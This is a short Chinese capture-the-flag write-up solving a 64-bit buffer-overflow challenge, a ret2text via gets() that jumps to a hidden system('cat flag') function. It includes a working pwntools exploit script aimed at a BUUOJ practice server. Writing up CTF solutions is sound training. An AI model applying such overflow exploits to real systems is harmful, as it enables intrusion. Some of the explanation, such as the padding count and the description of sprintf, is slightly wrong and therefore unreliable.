今天做一题保持手感
ScreenShot_2026-03-16_000745_946.png
依旧die+IDA
ScreenShot_2026-03-16_001036_346.png
看到64位,打开ida64,shift+f12看看有没有什么提示
ScreenShot_2026-03-16_001116_219.png
看到了cat flag的字符串,点进去,发现只有一句return,没有溢出点,但是调用了system()函数,也就是说只要找到溢出点,让程序跳转到该函数地址就可以输出flag。
现在没啥看的就从main函数看起
ScreenShot_2026-03-16_005946_471.png
这里介绍一下栈结构和各个函数的作用:

write()函数:第一个参数是为1表示标准输出,第二个参数是输出的字符串,第三个参数是长度10字节长整型(单纯打印,没用)
sprintf()函数:第一个参数是输入的字符串首地址,第三个参数是一个函数的地址,第二个参数是把第三个参数的地址的十六进制从栈顶开始写进栈,注意此时栈顶指针rsp是不移动的。
gets()函数:第一个参数是写入开始的位置,第二个参数应该是反汇编错误了QAQ,gets()函数应该没有第二个参数

这里gets()函数存在溢出点:

我们注意到:gets写入v5,栈大小为[rbp-40h],所以我们可以从这里开始输入40个垃圾字符把栈填满,再输入8个字符把旧的rbp覆盖,就到了返回地址,我们可以把返回地址覆写为sub_40060D的地址

于是最终的payload为:48h个垃圾字符 + sub_40060D地址

手写exp:

from pwn import *

p = remote('node5.buuoj.cn', 27870)
offset = 0x48
payload = b'A'*offset + p64(0x040060D)
p.recvuntil(b'>')
p.sendline(payload)
print(p.recvall().decode())

ScreenShot_2026-03-16_005636_654.png
得到flag!